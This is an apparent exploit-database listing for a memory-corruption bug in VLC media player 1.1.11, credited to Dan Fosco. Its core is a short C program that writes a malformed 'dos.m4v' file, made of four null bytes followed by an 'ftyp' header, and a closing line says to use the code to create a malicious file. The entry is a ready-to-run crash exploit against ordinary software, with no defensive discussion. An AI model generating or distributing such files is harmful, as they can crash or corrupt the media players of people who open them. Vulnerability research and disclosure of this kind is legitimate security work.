VLC v. 1.1.11 .m4v Memory Corruption



EKU-ID: 1668 CVE: OSVDB-ID:
Author: Dan Fosco Published: 2012-03-15 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: VLC v. 1.1.11 .m4v Memory Corruption
# Date: 3/14/2012
# Author: Dan Fosco
# Vendor or Software Link: www.videolan.org
# Version: 1.1.11
# Category:: local
# Google dork: n/a
# Tested on: Windows XP SP3 (64-bit)
# Demo site: n/a

#include <stdio.h>

int main()
{
FILE *f;
f = fopen("dos.m4v", "w");
fputc('\x00', f);
fputc('\x00', f);
fputc('\x00', f);
fputc('\x00', f);
fputs("\x66\x74\x79\x70", f);
fclose(f);
return 0;
}

//use code for creating malicious file